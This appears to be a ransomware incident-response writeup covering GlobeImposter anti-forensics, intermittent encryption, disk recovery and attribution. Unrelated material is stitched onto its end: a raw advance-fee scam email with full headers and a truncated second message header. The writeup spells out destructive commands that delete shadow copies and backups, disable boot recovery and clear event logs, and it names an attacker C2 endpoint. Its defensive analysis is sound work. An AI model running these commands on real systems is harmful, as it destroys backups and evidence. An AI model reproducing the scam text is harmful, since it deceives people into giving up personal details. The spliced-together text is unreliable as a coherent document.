The passcode gate is not security, it is camouflage: a legitimate admin who stumbles into it sees a tiny blank box that closes itself. (The specific code is a well-known neo-Nazi numeric string, commonly used as a signature by Russian-speaking underground actors. I am not reprinting it; treat any hardcoded four-digit gate in a batch file with the same suspicion.)
364 bytes across two files. No service, no scheduled task, no Run key, no startup folder, nothing in any of the places persistence hunters look first. And it survives every credential rotation you perform, because it does not need a credential.
6. Anti-forensics: seven scripts in 76 milliseconds
The wipe kit is seven batch files, all created and self-deleted inside the same second — 21:28:45.517 to 21:28:45.593. Each ends with del "%~f0".
| Script | What it destroys |
|---|---|
logdel1.bat |
RDP connection history — the HKCU\...\Terminal Server Client registry tree, Default.rdp |
logdel2.bat |
All Windows event logs via WEVTUTIL CL; then stops and deletes the eventlog and wscsvc services and disables Security Center |
logdel3.bat |
Prefetch, %TEMP%, cookies, recent files, IE cache, Recycle Bin, Jump Lists |
logdel4.bat |
A specific Jump List file, plus *.tmp drive-wide |
logdel5.bat |
Drive-wide *.log, *.bak, *.chk, *.old, *._mp, *.gid |
logdel6.bat |
VSS and backup destruction — vssadmin Delete Shadows /All /Quiet, wmic SHADOWCOPY DELETE, all wbadmin backups, bcdedit /set {default} recoveryenabled No, bcdedit /set {default} bootstatuspolicy ignoreallfailures |
logdel7.bat |
Unknown — the only one whose content is permanently unrecoverable |
Six of seven were recovered because they were MFT-resident: a file small enough to fit in its MFT record stores its $DATA inline, so deleting it leaves the content in the record until that record is reused. logdel7.bat at 1,411 bytes was non-resident, its clusters were reallocated, and it is gone forever.
Two things about this sequence deserve emphasis.
logdel2.bat is why there is no event log evidence at all. It does not just clear channels — it deletes the Event Log service. 137 channels cleared at 21:29:33.
The shadow-copy destruction ran 104 seconds after encryption started. DL.exe began writing ciphertext at 21:27:01.327; logdel6.bat fired at 21:28:45. VSS destruction was not preparation, it was cleanup, executed concurrently with the encryption pass. By the time shadow copies died, the local disk was already being encrypted.
And it did not matter, because recovery ended up depending on something no wiper can reach: backup GPT headers inside the malware's own skip gaps. The attacker's throughput optimisation preserved the exact metadata their wiper was trying to eliminate.
6.1 Timestomping, and the artefact that defeats it
Every operator-dropped file carries a BASIC USN reason immediately after its write. BASIC means NtSetInformationFile(FileBasicInformation) — i.e. SetFileTime(). They forged $STANDARD_INFORMATION on each drop so Explorer would show the files as pre-existing.
| File | True create (USN) | Displayed in Explorer |
|---|---|---|
lod.bat, 8 KB |
21:27:25.336 | 2023-06-05 09:34 |
DL.exe #1, 54 KB |
21:18:42.128 | earlier same day |
DL.exe #2 |
21:27:01.126 | earlier same day |
Two independent defeats:
$STANDARD_INFORMATIONis user-settable.$FILE_NAMEis not. FN is kernel-maintained and only refreshed on rename, move or hardlink. Comparing SI against FN separates the claimed timeline from the actual one.- The USN
BASICreason survives the file. Even after the binary is deleted and its clusters reclaimed, the journal still records that someone calledSetFileTime()on it, at what time, on which file reference.
The same SI-vs-FN comparison did real work elsewhere in this case. A cryptominer directory on the volume showed:
SI.create FN.create delta
xmrig.exe 2024-02-03 13:44:59.877 2024-02-03 14:00:54.851 +955 s
config.json 2024-02-03 13:44:59.655 2024-02-03 14:00:54.788 +955 s
WinRing0x64.sys 2024-02-03 13:44:59.846 2024-02-03 14:00:54.851 +955 s
A 16-minute SI/FN gap with fresh FN timestamps means these files were copied onto this volume from somewhere else, not extracted here: a copy tool restored the source's SI timestamps while the kernel stamped new FN values. Meanwhile the binary's own mtime matched its PE compile timestamp to the second — that is the vendor's build time, preserved through the copy. Three distinct dates in one folder: when the software was built, when it was created at its original location, and when it arrived here.
7. The payload: 85 MiB of ciphertext against 21.87 TB
The malware renames its victims *.vmdk.doglock. It does not encrypt virtual disks. It encrypts 2.5 MiB of each virtual disk.
| Measurement | Value |
|---|---|
| Ciphertext per image | 2.5 MiB — 1.25 MiB at the head, 1.25 MiB at the tail |
| Pattern | 8 KiB encrypted / 8 KiB skipped, 160 iterations at each end |
| Region covered | first 2,621,440 bytes and last 2,621,440 bytes |
| Appended trailer | 944 or 992 bytes |
| Total ciphertext, whole estate | ≈ 85 MiB |
| Data held hostage | 21.87 TB |
| Fraction of bytes destroyed | 0.0004 % |
| Disks recoverable without the key | 33 of 34 (97 %) |
########........########........########........########........########........
Eight kilobytes on, eight off. Same at the tail:
########........########........########........########.......o########.......o
↑ backup GPT header lives here
The pattern is file-offset aligned, not filesystem aligned. It has no idea what it is hitting. On a 4.6 TB disk it does exactly as much work as on a 25 GiB one. Intermittent encryption is a throughput decision: lock the whole datastore before anyone notices, rather than encrypt one VM properly.
7.1 What 2.5 MiB at each end actually destroys
| Structure | Location | Fate |
|---|---|---|
| MBR / protective MBR | LBA 0 | destroyed, all 34 images |
| Primary GPT header + entry array | LBA 1–33 | destroyed |
| First partition's NTFS boot sector | LBA 2048 | destroyed |
| ext4 primary superblock | partition + 1024 B | destroyed where the partition starts inside 2.5 MiB |
| LVM PV label + metadata area | partition start | destroyed, same condition |
| Backup GPT entry array | last 33–1 sectors | partially destroyed — entries 5–68 overwritten |
Enough to make every disk unbootable and unmountable. Which is the entire point: the malware is not destroying data, it is destroying the addressing of data, because that is 0.0004 % of the work for approximately the same leverage.
7.2 Why 97 % came back anyway
Four redundancy mechanisms sit outside the blast radius, and a fifth quirk helps:
- The backup GPT header survives — in every single image. The pattern's final skip gap is 8 KiB wide; the GPT header occupies the disk's last 512 bytes. It lands in a gap every time. All 13 GPT-partitioned disks had a backup GPT with valid CRC32.
- ext4 writes backup superblocks every 32,768 blocks. With 4 KiB blocks the first one is 128 MiB in — fifty times beyond the malware's reach. Mount directly:
mount -t ext4 -o ro,norecovery,sb=131072. - NTFS keeps a backup boot sector at the end of every volume. Every NTFS guest came back this way. The backup VBR also hands you the volume's true geometry: start offset, cluster size,
$MFTlocation. - Large partitions start beyond 2.5 MiB and are entirely untouched, primary superblock included.
$MFTis not at the start of an NTFS volume. Windows places it around cluster 786,432 — roughly 3 GB in. The master file table was never at risk.
The recovery procedure, in outline: rebuild the protective MBR and primary GPT from the backup GPT at the tail; for each partition, locate the filesystem by signature; for NTFS, copy the backup VBR from the volume's last sector to its first; for ext4, mount with an explicit backup superblock; for LVM, reconstruct the PV label from the metadata area copies. Then image the guest filesystem out to clean storage — do not attempt to run the recovered disk in place.
7.3 The trailer
┌──────────────┬────────────────────────────────────┬──────────────┐
│ 128 bytes │ 768 bytes │ 48 or 96 B │
│ binary, │ ASCII hex text: 16 lines of │ binary, │
│ per-image │ "XX XX .. XX\n" → 256 bytes │ per-image │
└──────────────┴────────────────────────────────────┴──────────────┘
total: 944 or 992 bytes
The middle 768 bytes are 256 bytes of binary written as human-readable hex — 2048 bits, consistent by length with an RSA-2048-wrapped per-file symmetric key. The leading 128 bytes vary per image (key-derivation material). The trailing 48 or 96 bytes are a fixed campaign marker.
Writing the wrapped key as ASCII hex is an odd choice and a gift to responders: strings on the last 4 KiB of any affected file yields the campaign identifier and lets you group images by encryption run in seconds. That is how the two blobs above were found.
Alongside the ciphertext, the encryptor drops a zero-byte file whose name is the victim identifier — 64 hex characters, SHA-256-length, unique per campaign — into C:\Users\Public\, three milliseconds after the encryptor process closed and before any file was renamed. The same value is embedded in every ransom note. It is the operator's out-of-band victim key.
7.4 The second recovery frontier: every small file is half plaintext
The 2.5 MiB head/tail model describes a VMDK-sized target. Ordinary Windows files — registry hives, credential stores, config files, logs, browser databases — are almost always under 5 MiB, so the head and tail regions overlap and the whole file falls inside the pattern:
| File size | Behaviour | Plaintext recoverable |
|---|---|---|
| ≤ 8 KiB | fully encrypted, one block | 0 % |
| 8 KiB – ~5 MiB | 8 KiB on / 8 KiB off across the whole file | ~50 %, every odd block |
| > 5 MiB | 2.5 MiB damaged at each end, middle intact | 99 %+ |
This changes what "encrypted" means for thousands of files in an estate. Half the bytes of every registry hive, credential store and log the ransomware touched are on disk in the clear. Whether that is useful depends on whether the specific bytes you need landed on an odd 8 KiB block — but for structured formats it very often is, because those formats are page-oriented and a single surviving page is parsable in isolation. SQLite B-tree leaf pages. ESE database pages. Bencode records. XML and JSON fragments.
Three concrete results from this engagement:
| Encrypted file | Size | Surviving plaintext | Outcome |
|---|---|---|---|
Firefox key4.db (master key store) |
295,856 B | 147,456 B on 18 odd blocks | 40 of 40 credentials decrypted — the metaData globalSalt row and the nssPrivate A11 blob both landed on intact pages |
uTorrent resume.dat |
35,328 B | 16,384 B on 2 blocks | full torrent metadata, source URLs, trackers, 43 GiB download history, completion dates |
uTorrent settings.dat |
21,888 B | 8,192 B on 1 block | client config, geoip locale, 96 lifetime launches |
The browser's encrypted master-key database was recovered from its own ciphertext and used to decrypt exactly the credential set the operator had stolen that morning. I enjoy that symmetry more than is professional.
Generalised method: strip the trailer, take every odd 8 KiB block starting at offset 8192, and parse the surviving fragments as whatever the format was. For SQLite this means walking pages independently of the file header. For ESE hives, the same. Do not expect a valid file — expect valid records.
The "97 % of virtual disks recovered" figure therefore understates the recoverable data. Thousands of individual guest files yield partial-to-complete content by the same arithmetic, with no key involved.
7.5 Measuring a cipher you do not have
The encryptor binary was never recovered — deleted onto a thin-provisioned, TRIM-backed volume, which zeroes reclaimed blocks within days. So the cipher was characterised behaviourally, using a known-plaintext corpus that turned up by accident.
The acquisition store held a 126 MB VMware guest swap file, encrypted. It proved to be entirely zero-filled before encryption — all 320 skipped blocks and the whole 126,877,696-byte intact middle contain not one non-zero byte. The guest never paged. As a memory artefact it is worthless. As a known-plaintext corpus it is 320 encrypted 8 KiB blocks whose plaintext is provably all zeros.
| Test | Result |
|---|---|
320 blocks of E(0×8192) within one file |
320 distinct ciphertexts, zero repeats |
| Byte histogram, block 0 | all 256 values present, max frequency 54 — flat |
| Internal period, 16–4096 B | none detected |
block₀ ⊕ block₁ |
8,164 / 8,192 bytes non-zero |
block₀ ⊕ block₃₁₉ |
8,151 / 8,192 bytes non-zero |
| Cross-file, swap vs six other samples | 0 shared ciphertext blocks |
Identical plaintext at 320 different offsets producing 320 different ciphertexts means the keystream is a function of file position and of something per-file — key or IV seed. Flat distribution, no repeats, no internal period, no cross-file reuse. That is the signature of AES in CTR mode, or CBC with an offset-derived IV.
Conclusion: no keystream reuse, no key-recovery shortcut. Recovery here depended entirely on the intermittent-encryption geometry and never on a cryptographic weakness. If this family ever ships a variant that encrypts contiguously, none of the above works.
8. Two claims that did not survive the evidence
The retractions are the section I would want to read in someone else's writeup, so here are mine.
8.1 "RSA-2048 via statically-linked mbedTLS, no static AES"
An earlier draft asserted both. Neither came from the binary that ran on this host — that binary does not exist any more. They came from a static-analysis pass over five same-family samples downloaded from a public malware repository, all 54,272–55,296 bytes, all sharing one imphash and a byte-identical 12,680-byte code region from the entry point. That analysis reported mbedTLS strings, an mbedTLS bignum small-primes table, SHA-256 round constants, and no AES S-box in any sample.
Why the retraction stands: those samples and the scripts that analysed them lived in transient scratch and were not preserved in the evidence store. There is no reproducible artefact backing either claim. And they are not our build in any case — they are same-family siblings whose per-campaign key material lives in exactly the regions that vary.
What survives is §7.5, which is measured from evidence still in the store. Note carefully that flat, non-repeating, position-dependent blocks are evidence for a stream-like construction, not evidence for the absence of AES — AES-CTR looks exactly like this. The trailer is consistent with RSA-2048 by length alone; the library that produced it is unknown from primary sources.
8.2 The miner that probably wasn't
Same discipline, different artefact. Four cryptominer installations were tracked on this host, the earliest thirteen days after the server was built, two years before the ransomware. That looks like a long-running compromise.
The earliest one was fully recovered, because it sat outside the operator's staging tree, and it is the unmodified official XMRig release with:
- a stock, unedited
config.jsonwhose pool user is the literal placeholder string shipped in the release, benchmark_1M.cmdandbenchmark_10M.cmd— XMRig's CPU benchmark mode, which mines to nobody,- a
start.cmdof exactly the stock size, no wallet arguments, - no persistence of any kind — no service, no Run key, no scheduled task, no IFEO entry.
A pristine, unconfigured XMRig copied to C:\TMP\ two weeks after a server is built reads at least as plausibly as an administrator benchmarking new hardware as it does an attacker install. The two later miner installs — in folders named "New folder" in Russian, matching the operator's naming convention elsewhere — are the ones that fit operator behaviour, and both of those folders were deleted and TRIM-zeroed, so their configs and wallets are gone.
Defensible statement: an unconfigured miner arrived on day 13; two more appeared later in operator-named folders; productive mining is plausible but unproven; no wallet was recovered from any of them.
"Seventeen months of cryptomining" would have been a much better headline and a worse finding.
9. Forensics under a total event-log wipe
A field guide to what saved this investigation, with the semantics that matter.
USN change journal ($UsnJrnl:$J) — 41.7 MB, 404,202 records. Coverage happened to begin at 19:46 on the attack day, so it caught the entire evening but not the 04:27 toolkit drop, whose timing had to come from MFT $STANDARD_INFORMATION instead. Records file reference number, parent reference, timestamp and reason flags for every change. Does not record acting process or user — that is the single biggest limitation, and it is why so many findings above are corroborated from a second artefact. Reason flags worth knowing: BASIC = SetFileTime() (timestomp indicator), OVR/EXT/TRC = overwrite/extend/truncate of $DATA.
MFT SI vs FN — covered in §6.1. The workhorse of anti-anti-forensics.
MFT-resident $DATA — small files live inline in their record. Six of seven wipe scripts came back this way, byte-accurate.
RDP client-side bitmap cache — Cache000N.bin in the user profile's Terminal Server Client directory. The wipe script cleared the registry RDP history and missed the on-disk cache entirely. These were live, unencrypted, allocated files. They yielded the mount script, the credential-extraction script open in ISE with its comment banner readable, and mimikatz output files open in Notepad.
Mechanics, since they bite: tiles are 64×64 BGRA, stored top-down (my first render came out vertically flipped), and they appear in cache order, not screen order — adjacency on a contact sheet carries no positional meaning whatsoever. Do not reconstruct a screen layout from tile adjacency; reconstruct text from tile content and accept that word order across tiles is a guess. The standard tool for this is bmc-tools; I ended up writing a pure-Python parser with a stdlib-zlib PNG encoder because the analysis host had no PIL or numpy.
UserAssist (NTUSER.DAT) — GUI-launched programs with run count, foreground focus count and total focus time in milliseconds. No other artefact gives you duration. Value names are ROT13-encoded; the structure is 72 bytes with run count at offset 4, focus count at 8, focus time at 12, last-execution FILETIME at 60.
Two entries reframed the engagement:
- The network scanner: 43 focus events, 38.7 minutes of cumulative foreground time. My first draft had listed it as staged inventory. It was sustained, interactive, estate-wide reconnaissance by a human being.
- Outbound RDP: 4 runs, 29 minutes of cumulative focus. The operator used this box as a jump host and went somewhere. No other machine in the estate was ever triaged, so the true scope of lateral movement is not "small" — it is unmeasured. That became the largest open question in the whole engagement.
Critical semantics: UserAssist records only the most recent execution timestamp. A run count above 1 means earlier executions exist and are undated. Cumulative focus figures are across all runs and are independent of that timestamp. Reporting "netscan ran at 04:31:13" as the scan time would be wrong; reporting "the operator spent 38.7 minutes in a scanner across 43 sessions" is right.
Amcache — inventory of executables with a SHA-1 per entry. Two semantics people get wrong: the event time is the registry key's lastwrite, set when the inventory service registers a change, not the file's execution time; and Amcache reflects disk state at inventory time, so a rebuilt hive means the absence of an attacker binary proves nothing. Here it placed the anti-forensic LOLBins (vssadmin, wmic, bcdedit, attrib, timeout, net1) at inventory-cycle precision, corroborating the USN's script timings from a second source, and it resolved the systray.exe false lead.
PCA (C:\Windows\AppCompat\pca\PcaGeneralDb0.txt) — the Program Compatibility Assistant execution database. UTF-16LE, pipe-delimited: timestamp|resolver|path|product|vendor|version|program_id|message. Underused, and it survived the wipe. A companion file independently caught a backup-product process the next morning.
SAM F records — per-account binary structures with last logon, last logoff, password-set time, account expiry, last failed logon, RID, ACB flags, failed count and login count at fixed offsets. Caveat learned the hard way: the login-count field is unreliable on modern Windows and reads zero even when last-logon is populated. Trust the FILETIME, not the counter.
RunMRU — what was typed into Win+R. Entries cannot be individually timestamped; you get an MRUList ordering string and the key's lastwrite. In this case it produced five candidate internal hosts for how the toolkit arrived, including one that was typed three times, pinged, and hosts a share whose name translates to "for writing 500". A named writable share is a plausible channel for both kit delivery and staging. It also, honestly, contained entries from the responder window — so ordering gives you a sequence, not attribution.
SRUM — resource usage per application. Useful for establishing that a binary executed and for volume-level device paths. But note: the per-application Network Data Usage table does not exist on Windows Server. The replacement is per-interface and its byte columns did not decode. That is why the exfiltration volume question routes entirely to the network side.
Runlist recovery — the one primitive that does not work here. Walking a deleted MFT record's cluster runlist assumes those clusters still hold the old data. This volume is thin-provisioned with TRIM: the guest issues UNMAP on delete, VMFS reclaims the blocks, and the content reads back as zeros or as whatever now occupies those clusters. It fails silently and plausibly — you get a file of exactly the expected size, from a record with the right filename, and sometimes with a valid-looking PE header on the front. All 117 files extracted this way from this volume were re-checked against a published 87-hash IOC list: zero matched, and of the 61 PE candidates 60 failed at MZ magic. One of them looked convincing enough to nearly become a published IOC — it was a Windows resource-only DLL that had been allocated the clusters afterwards.
The gate applied to anything runlist-extracted since: MZ magic and a non-empty .text section and a non-zero import table and AddressOfEntryPoint > 0 and, where the tool is public, a vendor hash match. Everything that fails is quarantined as documentation of the failure boundary, not retained as evidence.
Zero attacker binaries were recovered from this host. Everything in §3 is filename-and-metadata reconstruction from the MFT and USN, and it is labelled as such. Two primitives are not affected and the distinction is worth internalising: MFT-resident recovery is byte-accurate (the wipe scripts came out of their records' inline $DATA, one hash-matching a published sample byte-for-byte), and live allocated files are fine (the bitmap caches and the browser key store were never deleted).
Negative results, recorded so nobody mistakes them for unexplored leads:
| Artefact | Result |
|---|---|
| Guest swap file, 126 MB | entirely zero-filled before encryption — no memory content exists to recover |
| Edge browser history | urls table: 0 rows |
| Edge login data, 604 files across 4 snapshots | logins table: 0 rows |
| A 64 KB file named like a user hive | not a hive — zero non-zero bytes, invalid REGF header, and no such user account exists. Another TRIM-zeroed runlist extraction sitting unlabelled beside five genuine hives |
That last row is the runlist failure mode again, waiting to generate a finding about an account that never existed. Label your quarantined extractions.
10. Attribution: commodity kit, one verified hash, one unique file
The kit matches a published threat-intelligence IOC list for a Phobos-family operator: 87 filenames with SHA-1s. How much of that correspondence is verified?
- One file hash-matched byte-for-byte: a wipe script recovered from its MFT-resident
$DATA. - One content-level match: both
bcdeditlines in the recovered VSS-destruction script match the published sequence exactly, including thebootstatuspolicy ignoreallfailuresline. - Everything else is filename-and-behaviour correspondence. Eighteen kit files could never be hash-compared because their bytes were never recovered (see §9 on runlist recovery).
So the shared-kit conclusion rests on two verified files plus strong structural correspondence — not eighteen hash matches. Stating it that way costs nothing and is the difference between an assessment and a claim.
The ransomware family differs from the published report's (that one is Phobos lineage; this payload is GlobeImposter), but family-switching between engagements is normal affiliate behaviour. The operator profile is identical: the same batch and VBS scripts, the same NirSoft credential dumpers, the same Defender-kill approach, the same vssadmin/wmic/wbadmin sequence.
10.1 The encryption geometry is the discriminator
This payload is not Phobos, and the proof is arithmetic rather than assertion. Published Phobos analysis describes a 1.5 MB size threshold: files below it are encrypted in full; files above it get scattered blocks through the body, with the list of block offsets written into the file metadata alongside the wrapped key.
| Phobos (published) | This payload (measured) | |
|---|---|---|
| Size threshold | 1.5 MB | ~5 MiB |
| Below threshold | fully encrypted | 8 KiB on / 8 KiB off — ~50 % survives |
| Above threshold | scattered blocks, positions vary | fixed 2.5 MiB head + 2.5 MiB tail |
| Block map | stored in metadata | none — offsets are deterministic |
| Asymmetric | RSA-1024, hardcoded | 256-byte wrapped key by length; library unknown1 |
| Symmetric | AES-256 | position-dependent keystream; construction unconfirmed1 |
That difference is why recovery worked. Phobos must record where it wrote, because its offsets vary. This encryptor writes at fixed, predictable offsets and records nothing — so every intact block can be located arithmetically without the key. And had this been Phobos, every file under 1.5 MB would have been fully encrypted: the browser key store, the registry hives, the client state files. The 40 credentials would have been unrecoverable and §7.4 would not exist.
A different affiliate's build choice, made for throughput, is the sole reason this incident had a good outcome.
10.2 A named public campaign matches
A published vendor analysis describes the same operator distributing GlobeImposter alongside another ransomware family via RDP-obtained access. Overlaps with this incident:
- ransom-note filename byte-identical to ours,
- kit staged in the
Music\folder — same parent-folder convention, different subfolder naming, - XMRig deployed alongside the ransomware, matching the miner installs here,
- same tool families — port scanner, mimikatz, NirSoft credential recovery, share scanners,
- same anti-forensics — batch scripts deleting VSS, event logs and RDP history,
- the campaign's ransom-note addresses appear on a government advisory's IOC list for the other family, and the analysis names a C2 endpoint (
hxxp://46.148.235[.]114/cmd.php).
GlobeImposter uses a per-campaign parameterised file extension — that report's variant differs from ours by one word. Same family, same operator profile, different campaign build. Notably, this operator's traffic to that named C2 left no trace on the host: no matching string anywhere on the volume. C2 infrastructure is per-affiliate, not per-kit.
10.3 One file in the kit is unique
Of every script in this operator's toolkit, exactly one has no public sample anywhere and does not appear in the published IOC list: an 8 KB batch file dropped at the volume root, timestomped to 2023, executed, and deleted within three minutes. Either it is operator-customised — a personalised launcher pointing at their specific payload location — or it comes from a rare kit variant.
Its exact bytes are permanently unrecoverable through any local or public avenue. It is also, irritatingly, the one file with a genuine timeline anomaly: UserAssist records it executing eight minutes after the USN journal records it deleted. Either the deletion attribution is wrong, or the file was re-created, or the UserAssist entry refers to a same-named file elsewhere. Unresolved.
11. What could not be answered, and where the answers live
A note on scoping before the table: only one host was ever examined. Twenty-nine minutes of outbound RDP and thirty-nine minutes of estate-wide scanning establish that the operator went further. The hypervisors, the rebuilt vCenter, the domain controller, the application server, and the five hosts named in RunMRU were never triaged. An incident report that examines one machine out of an estate is a starting document.
Being explicit about the rest matters more than the findings:
| Question | Why the host cannot answer it | Where it lives |
|---|---|---|
| Inbound access path | 137 event channels cleared; vCenter rebuilt ten days later; modern ESXi does not log SSH source addresses | perimeter firewall / log analyser flow data |
| Exfiltration volume and destination | the per-application network table does not exist on Windows Server; the replacement did not decode | flow logs — and the unexamined blob-storage client profile on the box |
| Miner wallet / pool | the recovered config is a stock template; the configured copies were deleted and TRIM-zeroed | outbound flows to pool ports, DNS resolution logs |
| Operator C2 | zero artefacts on the volume | DNS logs, flow logs |
| How the toolkit arrived | no Zone.Identifier, no RDP-clipboard path, no USB evidence; SMB/UNC is the only surviving hypothesis |
the five hosts in RunMRU, their SMB access logs, DC audit logs |
| When the host was first compromised | no surviving log predates the wipe; the artefacts that would date it are ambiguous | firewall archives; a hypervisor SSH log older than the incident |
| What else the operator reached | only one host was examined | triage of the rest of the estate |
One log source was never checked and might still matter: at least one hypervisor retains an SSH authentication log going back two years, and it had only ever been searched for the attack month. It sits entirely outside everything the operator wiped.
And the methodological confession, because it is the largest single risk in the engagement: the NTFS, USN, bitmap-cache and registry work was done with roughly 141 bespoke, unvalidated scripts. No commercial or peer-reviewed forensic suite was involved at any point. Every finding above that matters should be reproducible with an independent tool, and until it is, that is the honest caveat to attach to all of it.
12. Takeaways
If you defend virtualised infrastructure:
- A hypervisor estate can be encrypted with zero hypervisor-side execution. If your ESXi detection strategy assumes a Linux encryptor,
esxclicalls, or a VM power-off loop, this attack walks past all three. - Backup infrastructure is credential infrastructure. A backup server's config database holds decryptable credentials for every hypervisor, guest, SQL instance and cloud repository it touches, and the public tooling to extract them is two kilobytes of PowerShell. Model compromise of the backup server as compromise of everything it backs up — because that is what it is.
- ESXi SSH off by default. Of every control in this post, that is the one that stops this specific attack outright.
- One password family across vCenter, eleven hosts, the routers and the cloud tenant means the browser password store is the estate. Eight minutes of harvesting produced everything.
- Never let a server double as a workstation. The torrent client, the cracked software and the saved passwords were all on the box that mounted every datastore.
- The off-site repository is what saved this one. It was active ninety minutes before the attack and the ransomware could not reach it. Every other control failed.
If you respond to these:
- Assume intermittent encryption. Measure the pattern before you assume a disk is lost. 97 % recovery here came from backup GPT headers, ext4 backup superblocks and NTFS backup boot sectors sitting outside a fixed blast radius, by pure geometry.
- Then apply the same logic downward. Half of every small encrypted file is plaintext. For page-oriented formats — SQLite, ESE, bencode — that is frequently the whole record you wanted.
- When event logs are gone, the wipe kits are consistently incomplete. USN, MFT SI-vs-FN, PCA, UserAssist, Amcache and the RDP bitmap cache all survived a deliberate seven-script wipe here and between them reconstructed a seventeen-hour session to the second.
- Learn your artefacts' semantics, not just their locations. UserAssist timestamps are last execution. Amcache times are inventory events. SRUM's device paths shift across time. SAM's login counter lies. Each of those nearly produced a wrong finding.
- Do not trust runlist recovery on thin-provisioned TRIM storage. It fails silently and plausibly. Gate every extraction structurally, and quarantine what fails.
- Corroborate from a second artefact class before anything leaves your hands as an IOC. One hash in this case would have been a Microsoft resource DLL.
And on writing the report:
Several claims in this engagement did not survive contact with primary evidence — a crypto analysis run against the wrong binaries, a "recovered" file that was a system DLL, a two-year cryptomining narrative that was probably a benchmark. Every one of them was plausible, and most of them made a better story than the truth.
Write the negative results down next to the findings. Write the retractions down next to the conclusions. Say "earliest candidate" when that is what you have, and "two verified files plus behavioural correspondence" when that is what the attribution rests on. A report that only lists what held up is a report nobody can calibrate — including you, six months later, when someone asks how firmly you actually know the thing you wrote.
Message from sts.gov.kz
Mar 13, 2025
Received: from postback9b.mail.yandex.net (postback9b.mail.yandex.net [2a02:6b8:c02:900:1:45:d181:da09])
by mail-notsolitesrv-production-main-91.iva.yp-c.yandex.net (notsolitesrv/Yandex) with LMTPS id ZubeIk0OtUKF-wn4wgy0f;
Wed, 12 Mar 2025 15:46:11 +0300
Received: from mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net (mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net [IPv6:2a02:6b8:c1b:3982:0:640:daf:0])
by postback9b.mail.yandex.net (Yandex) with ESMTPS id 4F937608F1;
Wed, 12 Mar 2025 15:46:11 +0300 (MSK)
Received: from sts.gov.kz (nkcib.sts.kz [91.214.43.35])
by mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net (mxfront/Yandex) with ESMTPS id 9kqmjF0E8eA0-vShlcwCv;
Wed, 12 Mar 2025 15:46:10 +0300
To: undisclosed-recipients:;
X-Yandex-Fwd: 1
Authentication-Results: mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net; spf=pass (mail-nwsmtp-mxfront-production-main-44.sas.yp-c.yandex.net: domain of sts.gov.kz designates 91.214.43.35 as permitted sender, rule=[a]) smtp.mail=test@sts.gov.kz
X-Yandex-Spam: 4
Received: from User ([45.64.112.98])
by sts.gov.kz with SMTP id 52CCjCeR003290-52CCjCeT003290;
Wed, 12 Mar 2025 17:45:13 +0500
Message-Id: <202503121245.52CCjCeR003290-52CCjCeT003290@sts.gov.kz>
Reply-To: <williamleonard653@gmail.com>
From: "WILLIAM LEONARD"<test@sts.gov.kz>
Subject: PACKAGE FOR DELIVERY
Date: Wed, 12 Mar 2025 20:45:27 +0800
MIME-Version: 1.0
Content-Type: text/plain;
charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-FEAS-Client-IP: 45.64.112.98
X-FE-Last-Public-Client-IP: 45.64.112.98
X-FE-Policy-ID: 3:1:0:SYSTEM
Return-Path: test@sts.gov.kz
X-Yandex-Forward: c80f08b76eacb68a8991195777744d5a
X-Yandex-Forward: d3d158788ceea54c764cedea491a1863
MESSAGE FROM VICE CHAIRMAN HARRISBURG.
Harrisburg International Airport Pennsylvania
One Terminal Drive, Middle town,
PA 17057, Pennsylvania USA
Your Abandoned Package For Delivery
I have very vital information to give to you, but first I must have your trust before I review it to you because it may affect my job,so I need somebody that I can trust for me to be able to review the secret to you.
I am Mr.William Leonard, head of luggage/baggage storage facilities (Operations, Maintenance, Transportation) here at the Harrisburg International Airport, Pennsylvania USA. During my recent withheld package routine check at the Airport Storage Vault, I discovered an abandoned shipment from a Diplomat from London and when scanned it revealed an undisclosed sum of money in a Metal Trunk Box weighing approximately 110kg. The consignment was abandoned because the Contents of the consignment was not properly declared by the consignee as "MONEY" rather it was declared as personal effect to avoid interrogation and also the inability of the diplomat to pay for the United States Non Inspection Charges which is $4,700 USD. On my assumption the consignment is still left in our Storage House here at the Harrisburg International Airport Pennsylvania till date. The details of the consignment including your name, your email address and the official documents from the United Nations office
in Geneva are tagged on the Trunk
However, to enable me confirm if you are the actual recipient of this consignment as the assistant director of the Inspection Unit, I will advise you provide your current Phone Number and Full Address, to enable me cross check if it corresponds with the address on the official documents including the name of nearest Airport around your city. Please note that this consignment is supposed to have been returned to the United States Treasury Department as unclaimed delivery due to the delays in concluding the clearance processes so as a result of this, I will not be able to receive your details on my official email account. So in order to enable me to cross check your details, I will advise you to send the required details to my private email address for quick processing and response. Once I confirm you as the actual recipient of the trunk box, I can get everything concluded within 48 hours upon your acceptance and proceed to your address for delivery.
Lastly, be informed that the reason I have taken it upon myself to contact you personally about this abandoned consignment is because I want us to transact this business and share the money 70% for you and 30% for me since the consignment has not yet been returned to the United States Treasury Department after being abandoned by the diplomat so immediately the confirmation is made, I will go ahead and pay for the United States Non Inspection Fee of $4,700 dollars and arrange for the box to be delivered to your doorstep Or I can bring it by myself to avoid any more trouble but you have to assure me of my 30% share.
I wait to hear from you urgently if you are still alive and I will appreciate it if we can keep this deal confidential. Please get back to me via my private Email:( williamleonard46[@]aol[dot]com ) for further directives.
Thanks,
William Leonard.
VICE CHAIRMAN HARRISBURG,
(Operations,Maintenance,Transportation)
Harrisburg International Airport Pennsylvania
One Terminal Drive, Middle town.
Apparently, I have been on a dating site... lol
Mar 29, 2025
Received: from postback18a.mail.yandex.net (postback18a.mail.yandex.net [2a02:6b8:c0e:500:1:45:d181:da18])
by zgzkrblwmilsm4ww.vla.yp-c.yandex.net (notsolitesrv/Yandex) with LMTPS id Ko1iEKv9rzhI-wcqex5mF
Received: from mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net (mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net [IPv6:2a02:6b8:c0c:859e:0:640:dbee:0])
by postback18a.mail.yandex.net (Yandex) with ESMTPS id 140D560B59
Received: from mail-relay.psycho.email (mail-relay.psycho.email [5.78.95.7])
by mail-nwsmtp-mxfront-production-main-66.iva.yp-c.yandex.net (mxfront/Yandex) with ESMTPS id paWQCj0E4uQ0-MGUaPcdc;
Tue, 25 Mar 2025 23:36:53 +0300
